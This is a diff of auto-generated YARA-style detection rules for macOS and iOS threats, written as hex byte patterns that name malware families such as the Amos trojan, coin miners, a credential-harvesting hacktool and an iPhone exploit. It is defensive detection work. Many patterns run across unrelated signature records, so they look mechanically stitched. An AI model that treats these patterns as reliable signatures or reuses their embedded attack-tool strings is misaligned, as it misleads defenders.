2f 41 6d 6f 73 2e 45 47 21 4d 54 42 00 01 00 23 01 55 48 89 e5 53 50 48 89 fb e8 c8 17 00 00 48 8b 05 e3 85 00 00 48 83 c0 10 48 89 03 48 83 c4 08 5b 5d c3 01 00 17 01 48 83 3d 38 95 00 00 00 74 0d 48 8b } //28525 + condition: + ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*28525) >=20 + +} +rule _InfrastructureShared_22333{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 47 21 4d 54 42 00 01 00 23 01 55 48 89 e5 53 50 48 89 fb e8 c8 17 00 00 48 8b 05 e3 85 00 00 48 83 c0 10 48 89 03 48 83 c4 08 5b 5d c3 01 00 17 01 48 } //21539 + $a_95_1 = {00 00 74 0d 48 8b 3d 37 95 00 00 5d e9 bf 19 00 00 00 00 8d 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 46 6b 43 6f 64 65 63 } //15747 + condition: + ((#a_4c_0 & 1)*21539+(#a_95_1 & 1)*15747) >=2 + +} +rule _InfrastructureShared_22334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -277899,7 +294325,7 @@ rule _InfrastructureShared_21053{ ((#a_46_0 & 1)*16675+(#a_41_2 & 1)*17478) >=3 } -rule _InfrastructureShared_21054{ +rule _InfrastructureShared_22335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -277911,57 +294337,56 @@ rule _InfrastructureShared_21054{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*11+(#a_00_2 & 1)*65) >=3 } -rule _InfrastructureShared_21055{ +rule _InfrastructureShared_22336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 48 53 54 52 3a 69 4f 53 2f 58 6f 6f 6d 41 70 70 2e 41 00 01 00 07 01 58 6f 6f 6d 41 70 70 01 00 12 01 58 6f 6f 6d 44 65 76 69 63 65 49 64 48 65 61 64 65 72 01 00 12 01 58 6f 6f 6d 43 68 65 63 6b 73 75 6d 48 65 61 64 65 72 01 00 07 00 69 78 67 75 61 72 64 00 00 8d 69 00 00 09 00 09 00 06 00 21 23 48 53 54 } //16675 $a_55_1 = {3a 4d 61 63 4f 53 2f 43 6f 69 6e 6d 69 6e 65 72 00 04 00 0a 00 62 6c 6f 63 6b 63 68 61 69 6e 04 00 08 00 61 6d 65 74 68 79 73 74 04 00 07 00 4d 61 72 63 6f 69 6e 04 00 07 00 42 69 74 63 6f 69 6e 01 00 06 00 77 61 6c 6c 65 74 01 00 08 00 63 } //14930 - $a_65_2 = {63 79 00 00 8d 6b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 43 21 64 68 61 00 01 00 25 01 53 65 63 75 72 69 74 79 20 45 6e 67 69 6e 65 65 72 69 6e 67 20 61 6e 64 20 41 72 63 68 69 74 65 63 74 75 72 65 01 00 0f 01 43 4d 53 20 54 65 73 74 20 53 69 67 6e 65 72 00 } //29301 - $a_00_3 = {00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 49 21 4d 54 42 00 01 00 26 01 41 0f b6 37 40 f6 c6 01 74 06 49 8b 7f 08 eb 04 89 f7 d1 ef 48 39 f9 73 19 48 89 c7 40 f6 c6 01 74 04 49 8b 7f 10 01 00 16 01 55 48 89 e5 48 89 f8 0f b6 0f f6 c1 01 75 07 48 ff c0 d1 e9 eb 08 00 } //-29440 + $a_65_2 = {63 79 00 00 8d 6a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 44 21 4d 54 42 00 01 00 1f 01 49 8b 7e 08 48 85 ff 0f 84 69 02 00 00 4d 01 fd 31 db 45 31 e4 48 85 ff 0f 84 41 02 00 00 90 01 00 1c 01 55 48 89 e5 53 50 48 89 fb e8 1e 08 00 00 48 89 df 48 83 c4 08 5b 5d e9 1c 08 00 00 00 00 } //29301 condition: - ((#a_6c_0 & 1)*16675+(#a_55_1 & 1)*14930+(#a_65_2 & 1)*29301+(#a_00_3 & 1)*-29440) >=4 + ((#a_6c_0 & 1)*16675+(#a_55_1 & 1)*14930+(#a_65_2 & 1)*29301) >=4 } -rule _InfrastructureShared_21056{ +rule _InfrastructureShared_22337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,09 00 09 00 06 00 21 " strings : $a_54_0 = {3a 50 55 41 3a 4d 61 63 4f 53 2f 43 6f 69 6e 6d 69 6e 65 72 00 04 00 0a 00 62 6c 6f 63 6b 63 68 61 69 6e 04 00 08 00 61 6d 65 74 68 79 73 74 04 00 07 00 4d 61 72 63 6f 69 6e 04 00 07 00 42 69 74 63 6f 69 6e 01 00 06 00 77 61 6c 6c 65 74 01 00 08 00 } //18467 - $a_72_1 = {6e 63 79 00 00 8d 6b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 43 21 64 68 61 00 01 00 25 01 53 65 63 75 72 69 74 79 20 45 6e 67 69 6e 65 65 72 69 6e 67 20 61 6e 64 20 41 72 63 68 69 74 65 63 74 75 72 65 01 00 0f 01 43 4d 53 20 54 65 73 74 20 53 69 67 6e 65 72 } //30051 - $a_6b_2 = {00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 49 21 4d 54 42 00 01 00 26 01 41 0f b6 37 40 f6 c6 01 74 06 49 8b 7f 08 eb 04 89 f7 d1 ef 48 39 f9 73 19 48 89 c7 40 f6 c6 01 74 04 49 8b 7f 10 01 00 16 01 55 48 89 e5 48 89 f8 0f b6 0f f6 c1 01 75 07 48 ff c0 d1 e9 eb 08 00 00 8d 6b 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 4d 61 63 4f 53 2f } //0 - $a_73_3 = {4d 61 67 65 2e 41 00 01 00 12 01 47 6f 20 66 69 6c 65 73 20 69 6e 72 65 61 64 69 6e 67 01 00 1a 01 4d 41 47 45 46 49 4c 45 5f 4c 49 53 54 4d 41 47 45 46 49 4c 45 5f 48 45 4c 50 01 00 08 01 65 6c 69 73 61 73 72 65 00 00 8d 6b 00 00 07 00 07 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 69 } //27717 - $a_61_4 = {6b 00 02 00 0b 00 61 69 72 63 72 61 63 6b 2d 6e 67 02 00 0c 00 6b 6f 72 65 6b 20 61 74 74 61 63 6b 02 00 0a 00 61 69 72 6f 6c 69 62 2d 6e 67 01 00 13 00 73 74 61 72 74 69 6e 67 20 70 74 77 20 61 74 74 61 63 6b 00 00 04 00 8d 6c 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 62 00 } //25458 - $a_00_5 = {63 6f 6d 2e 6d 6d 2d 69 6e 73 74 61 6c 6c 2d 6d 61 63 6f 73 2e 77 77 77 } //1 com.mm-install-macos.www + $a_72_1 = {6e 63 79 00 00 8d 6a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 44 21 4d 54 42 00 01 00 1f 01 49 8b 7e 08 48 85 ff 0f 84 69 02 00 00 4d 01 fd 31 db 45 31 e4 48 85 ff 0f 84 41 02 00 00 90 01 00 1c 01 55 48 89 e5 53 50 48 89 fb e8 1e 08 00 00 48 89 df 48 83 c4 08 5b 5d e9 1c 08 00 00 00 } //30051 + $a_00_2 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 43 21 64 68 61 00 01 00 25 01 53 65 63 75 72 69 74 79 20 45 6e 67 69 6e 65 65 72 69 6e 67 20 61 6e 64 20 41 72 63 68 69 74 65 63 74 75 72 65 01 00 0f 01 43 4d 53 20 54 65 73 74 20 53 69 67 6e 65 72 00 } //-29440 + $a_00_3 = {00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 45 6c 69 73 61 4d 61 67 65 2e 41 00 01 00 12 01 47 6f 20 66 69 6c 65 73 20 69 6e 72 65 61 64 69 6e 67 01 00 1a 01 4d 41 47 45 46 49 4c 45 5f 4c 49 53 54 4d 41 47 45 46 49 4c 45 5f 48 45 4c 50 01 00 08 01 65 6c 69 73 61 73 72 65 00 } //-29440 + $a_00_4 = {00 07 00 07 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 69 72 63 72 61 63 6b 00 02 00 0b 00 61 69 72 63 72 61 63 6b 2d 6e 67 02 00 0c 00 6b 6f 72 65 6b 20 61 74 74 61 63 6b 02 00 0a 00 61 69 72 6f 6c 69 62 2d 6e 67 01 00 13 00 73 74 61 72 74 69 6e 67 20 70 74 77 20 61 74 74 61 63 6b 00 00 04 } //-29440 + $a_00_5 = {00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 62 00 01 00 18 00 63 6f 6d 2e 6d 6d 2d 69 6e 73 74 61 6c 6c 2d 6d 61 63 6f 73 2e 77 77 77 01 00 0d 00 6d 79 63 6f 75 70 6f 6e 73 6d 61 72 74 01 00 13 00 63 6f 6d 2e 6d 6d 2e 6d 79 73 68 6f 70 63 6f 75 70 6f 6e 00 00 02 } //-29440 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30051+(#a_6b_2 & 1)*0+(#a_73_3 & 1)*27717+(#a_61_4 & 1)*25458+(#a_00_5 & 1)*1) >=9 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30051+(#a_00_2 & 1)*-29440+(#a_00_3 & 1)*-29440+(#a_00_4 & 1)*-29440+(#a_00_5 & 1)*-29440) >=9 } -rule _InfrastructureShared_21057{ +rule _InfrastructureShared_22338{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 44 21 4d 54 42 00 01 00 1f 01 49 8b 7e 08 48 85 ff 0f 84 69 02 00 00 4d 01 fd 31 db 45 31 e4 48 85 ff 0f 84 41 02 00 00 90 01 00 1c 01 55 48 89 e5 53 } //21539 + $a_fb_1 = {1e 08 00 00 48 89 df 48 83 c4 08 5b 5d e9 1c 08 00 00 00 00 8d 6b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 43 21 64 68 61 00 01 00 25 01 53 65 63 75 72 69 74 79 20 45 6e 67 69 6e 65 65 72 69 6e 67 20 61 6e 64 20 41 72 63 68 69 74 65 63 74 75 72 65 01 00 0f 01 43 4d 53 20 54 65 73 74 20 53 69 67 6e 65 72 00 00 8d 6b 00 00 03 00 } //18512 + condition: + ((#a_4c_0 & 1)*21539+(#a_fb_1 & 1)*18512) >=2 + +} +rule _InfrastructureShared_22339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 43 21 64 68 61 00 01 00 25 01 53 65 63 75 72 69 74 79 20 45 6e 67 69 6e 65 65 72 69 6e 67 20 61 6e 64 20 41 72 63 68 69 74 65 63 74 75 72 65 01 00 } //16675 - $a_4d_1 = {20 54 65 73 74 20 53 69 67 6e 65 72 00 00 8d 6b 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 49 21 4d 54 42 00 01 00 26 01 41 0f b6 37 40 f6 c6 01 } //271 + $a_4d_1 = {20 54 65 73 74 20 53 69 67 6e 65 72 00 00 8d 6b 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 45 6c 69 73 61 4d 61 67 65 2e 41 00 01 00 12 01 47 6f 20 66 } //271 condition: ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*271) >=2 } -rule _InfrastructureShared_21058{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 49 21 4d 54 42 00 01 00 26 01 41 0f b6 37 40 f6 c6 01 74 06 49 8b 7f 08 eb 04 89 f7 d1 ef 48 39 f9 73 19 48 89 c7 40 f6 c6 01 74 04 49 8b 7f 10 01 00 } //21539 - $a_48_1 = {e5 48 89 f8 0f b6 0f f6 c1 01 75 07 48 ff c0 d1 e9 eb 08 00 00 8d 6b 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 45 6c 69 73 61 4d 61 67 65 2e 41 00 01 00 12 01 47 6f 20 66 69 6c 65 73 20 69 6e 72 65 61 64 } //278 - condition: - ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*278) >=2 - -} -rule _InfrastructureShared_21059{ +rule _InfrastructureShared_22340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -277973,7 +294398,7 @@ rule _InfrastructureShared_21059{ ((#a_6c_0 & 1)*16675+(#a_45_1 & 1)*17996+(#a_61_2 & 1)*30580) >=3 } -rule _InfrastructureShared_21060{ +rule _InfrastructureShared_22341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 04 00 21 " @@ -277986,7 +294411,7 @@ rule _InfrastructureShared_21060{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26996+(#a_68_2 & 1)*31085+(#a_55_3 & 1)*13879) >=7 } -rule _InfrastructureShared_21061{ +rule _InfrastructureShared_22342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -277998,7 +294423,7 @@ rule _InfrastructureShared_21061{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*27950+(#a_00_2 & 1)*1) >=3 } -rule _InfrastructureShared_21062{ +rule _InfrastructureShared_22343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -278010,7 +294435,7 @@ rule _InfrastructureShared_21062{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28516+(#a_4a_2 & 1)*13056) >=3 } -rule _InfrastructureShared_21063{ +rule _InfrastructureShared_22344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278023,7 +294448,7 @@ rule _InfrastructureShared_21063{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*17921+(#a_69_2 & 1)*26996+(#a_73_3 & 1)*29296) >=4 } -rule _InfrastructureShared_21064{ +rule _InfrastructureShared_22345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 02 00 21 " @@ -278034,7 +294459,7 @@ rule _InfrastructureShared_21064{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*24947) >=4 } -rule _InfrastructureShared_21065{ +rule _InfrastructureShared_22346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -278046,7 +294471,7 @@ rule _InfrastructureShared_21065{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*19578+(#a_05_2 & 1)*4082) >=4 } -rule _InfrastructureShared_21066{ +rule _InfrastructureShared_22347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 01 00 21 " @@ -278056,7 +294481,7 @@ rule _InfrastructureShared_21066{ ((#a_41_0 & 1)*20515) >=5 } -rule _InfrastructureShared_21067{ +rule _InfrastructureShared_22348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -278069,7 +294494,7 @@ rule _InfrastructureShared_21067{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_72_2 & 1)*29525+(#a_65_3 & 1)*28525) >=5 } -rule _InfrastructureShared_21068{ +rule _InfrastructureShared_22349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -278083,7 +294508,7 @@ rule _InfrastructureShared_21068{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*25971+(#a_73_2 & 1)*20596+(#a_01_3 & 1)*25454+(#a_74_4 & 1)*25972) >=5 } -rule _InfrastructureShared_21069{ +rule _InfrastructureShared_22350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 04 00 21 " @@ -278095,7 +294520,7 @@ rule _InfrastructureShared_21069{ ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*20596+(#a_01_3 & 1)*25454) >=7 } -rule _InfrastructureShared_21070{ +rule _InfrastructureShared_22351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -278109,7 +294534,7 @@ rule _InfrastructureShared_21070{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*27746+(#a_69_2 & 1)*28719+(#a_6f_3 & 1)*28516+(#a_6e_5 & 1)*27904) >=12 } -rule _InfrastructureShared_21071{ +rule _InfrastructureShared_22352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 04 00 21 " @@ -278122,7 +294547,7 @@ rule _InfrastructureShared_21071{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28020+(#a_70_2 & 1)*30053+(#a_69_3 & 1)*26723) >=1 } -rule _InfrastructureShared_21072{ +rule _InfrastructureShared_22353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -278134,32 +294559,44 @@ rule _InfrastructureShared_21072{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*12144+(#a_63_2 & 1)*27746) >=4 } -rule _InfrastructureShared_21073{ +rule _InfrastructureShared_22354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,08 00 08 00 05 00 21 " strings : $a_4c_0 = {50 55 41 3a 4d 61 63 4f 53 2f 43 6f 69 6e 4d 69 6e 65 72 2e 4c 21 4d 54 42 00 05 00 0e 00 77 61 6c 6c 65 74 5f 61 64 64 72 65 73 73 05 00 0d 00 6d 69 6e 65 72 3a 3a 72 65 73 75 6d 65 01 00 0a 00 62 6c 6f 63 } //21539 $a_61_1 = {6e 01 00 0a 00 61 73 69 6f 2e 6e 65 74 64 62 01 00 05 00 6d 69 6e 65 72 00 00 8d 71 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 50 55 41 42 75 6e 64 6c 65 72 3a 4d 61 63 4f 53 2f 49 6e 73 74 61 6c 6c 43 6f 72 65 2e 41 21 48 53 54 52 00 01 00 28 02 55 48 89 e5 b0 03 c0 e0 02 0f be c8 b8 90 01 01 00 00 00 31 d2 f7 } //25451 - $a_b1_2 = {01 01 28 c1 fe c1 0f be c1 5d c3 90 00 01 00 0f 02 55 48 89 e5 90 02 04 40 0f be c6 5d c3 90 00 00 00 8d 71 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 57 72 69 74 52 65 64 2e 41 21 64 68 61 00 01 00 0f 01 57 72 69 74 65 41 6e 79 77 68 65 72 65 36 34 01 00 0e 01 52 65 61 64 41 6e 79 77 68 65 72 65 36 34 9c ff 0d 00 4a 62 50 72 6f 67 72 65 73 73 42 61 72 9c ff 0a 00 6a 61 69 6c 62 72 6f 6b 65 6e 00 00 8d 71 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4d 61 63 52 65 70 61 69 72 2e 41 00 02 00 16 00 63 6f 6d 2e 74 77 65 61 6b 62 69 74 2e 6d 61 63 52 65 70 61 69 72 01 00 09 00 6d 61 } //-2311 - $a_72_3 = {2d 4c 01 00 0e 00 53 65 63 75 72 69 74 79 53 68 69 65 6c 64 01 00 0a 00 50 35 4a 5a 39 55 59 32 4a 39 00 00 03 00 8d 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 46 73 63 61 6e 2e 43 21 4d 54 42 00 01 00 10 01 50 6c 75 67 69 6e 73 2e 53 6d 62 47 } //30572 - $a_74_4 = {00 15 01 47 65 74 45 6e 63 6f 64 65 64 43 72 65 64 65 6e 74 69 61 6c 73 01 00 0b 01 50 6c 75 67 69 6e 73 2f 66 74 70 01 00 08 01 46 63 67 69 53 63 61 6e 00 00 8d 71 00 00 1e 00 1e 00 04 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 53 75 73 70 42 61 73 65 36 34 45 6e 63 6f 64 65 64 00 14 00 0d 00 42 61 73 65 36 34 45 6e 63 6f 64 65 64 0a 00 22 00 } //28520 + $a_b1_2 = {01 01 28 c1 fe c1 0f be c1 5d c3 90 00 01 00 0f 02 55 48 89 e5 90 02 04 40 0f be c6 5d c3 90 00 00 00 8d 71 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 43 6c 69 70 43 6f 70 79 49 6d 70 6f 72 74 2e 41 31 00 02 00 14 00 4e 53 50 61 73 74 65 62 6f 61 72 64 2e 67 65 6e 65 72 61 6c 01 00 16 00 4e 53 50 61 73 74 65 62 6f 61 72 64 54 79 70 65 53 74 72 69 6e 67 01 00 0c 00 4e 53 50 61 73 74 65 62 6f 61 72 64 00 00 8d 71 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 57 72 69 74 52 65 64 2e 41 21 64 68 61 00 01 00 0f 01 57 72 69 74 65 41 6e 79 77 68 65 72 65 36 34 01 00 0e 01 52 65 61 64 } //-2311 + $a_77_3 = {65 72 65 36 34 9c ff 0d 00 4a 62 50 72 6f 67 72 65 73 73 42 61 72 9c ff 0a 00 6a 61 69 6c 62 72 6f 6b 65 6e 00 00 8d 71 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4d 61 63 52 65 70 61 69 72 2e 41 00 02 00 16 00 63 6f 6d 2e 74 77 65 61 6b 62 69 74 2e 6d 61 63 52 65 70 61 69 72 01 00 09 00 6d 61 6c 77 61 72 65 2d 4c 01 00 } //28225 + $a_65_4 = {75 72 69 74 79 53 68 69 65 6c 64 01 00 0a 00 50 35 4a 5a 39 55 59 32 4a 39 00 00 03 00 8d 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 46 73 63 61 6e 2e 43 21 4d 54 42 00 01 00 10 01 50 6c 75 67 69 6e 73 } //14 condition: - ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*25451+(#a_b1_2 & 1)*-2311+(#a_72_3 & 1)*30572+(#a_74_4 & 1)*28520) >=8 + ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*25451+(#a_b1_2 & 1)*-2311+(#a_77_3 & 1)*28225+(#a_65_4 & 1)*14) >=8 } -rule _InfrastructureShared_21074{ +rule _InfrastructureShared_22355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 4d 61 63 4f 53 2f 49 6e 73 74 61 6c 6c 43 6f 72 65 2e 41 21 48 53 54 52 00 01 00 28 02 55 48 89 e5 b0 03 c0 e0 02 0f be c8 b8 90 01 01 00 00 00 31 d2 f7 f9 f6 e1 b1 90 01 01 } //21539 - $a_c1_1 = {be c1 5d c3 90 00 01 00 0f 02 55 48 89 e5 90 02 04 40 0f be c6 5d c3 90 00 00 00 8d 71 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 57 72 69 74 52 65 64 2e 41 21 64 68 61 00 01 00 0f 01 57 72 69 74 65 41 6e 79 77 68 65 72 65 36 34 01 00 0e 01 52 65 61 64 41 6e 79 77 68 65 72 65 36 34 9c ff 0d 00 4a 62 50 72 6f 67 72 65 73 73 42 61 72 9c ff 0a 00 6a 61 69 6c 62 72 6f 6b 65 6e 00 00 8d 71 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4d 61 63 52 65 70 61 69 72 2e 41 00 02 00 16 00 63 6f 6d 2e 74 77 65 61 6b 62 69 74 2e 6d 61 63 52 65 70 61 69 72 01 00 09 00 6d 61 6c 77 61 72 65 2d 4c 01 00 0e 00 53 65 63 75 72 69 74 79 53 68 69 65 6c 64 01 00 0a 00 50 35 4a 5a 39 55 59 } //-16088 + $a_c1_1 = {be c1 5d c3 90 00 01 00 0f 02 55 48 89 e5 90 02 04 40 0f be c6 5d c3 90 00 00 00 8d 71 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 43 6c 69 70 43 6f 70 79 49 6d 70 6f 72 74 2e 41 31 00 02 00 14 00 4e 53 50 61 73 74 65 62 6f 61 72 64 2e 67 65 6e 65 72 61 6c 01 00 16 00 4e 53 50 61 73 74 65 62 6f 61 72 64 54 79 70 65 53 74 72 69 6e 67 01 00 0c 00 4e 53 50 61 73 74 65 62 6f 61 72 64 00 00 8d 71 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 57 72 69 74 52 65 64 2e 41 21 64 68 61 00 01 00 0f 01 57 72 69 74 65 41 6e 79 77 68 65 72 65 36 34 01 00 0e 01 52 65 61 64 41 6e 79 77 68 65 72 65 36 34 9c ff 0d 00 4a 62 50 72 6f 67 72 65 73 73 42 61 72 9c ff 0a 00 6a 61 69 6c 62 } //-16088 condition: ((#a_4c_0 & 1)*21539+(#a_c1_1 & 1)*-16088) >=2 } -rule _InfrastructureShared_21075{ +rule _InfrastructureShared_22356{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_54_0 = {3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 43 6c 69 70 43 6f 70 79 49 6d 70 6f 72 74 2e 41 31 00 02 00 14 00 4e 53 50 61 73 74 65 62 6f 61 72 64 2e 67 65 6e 65 72 61 6c 01 00 16 00 4e 53 50 61 73 74 65 62 6f 61 72 64 54 79 70 65 53 74 72 69 6e 67 } //18467 + $a_00_1 = {4e 53 50 61 73 74 65 62 6f 61 72 64 } //1 NSPasteboard + $a_71_2 = {00 02 00 02 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 57 72 69 74 52 65 64 2e 41 21 64 68 61 00 01 00 0f 01 57 72 69 74 65 41 6e 79 77 68 65 72 65 36 34 01 00 0e 01 52 65 61 64 41 6e 79 77 68 65 72 65 36 34 9c ff 0d 00 4a 62 50 72 6f 67 72 65 73 73 42 61 72 9c ff 0a 00 6a 61 69 6c 62 72 6f 6b 65 6e 00 00 8d 71 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_71_2 & 1)*0) >=2 + +} +rule _InfrastructureShared_22357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -278172,7 +294609,7 @@ rule _InfrastructureShared_21075{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26479+(#a_6c_2 & 1)*26984+(#a_6c_3 & 1)*26996) >=2 } -rule _InfrastructureShared_21076{ +rule _InfrastructureShared_22358{ meta: 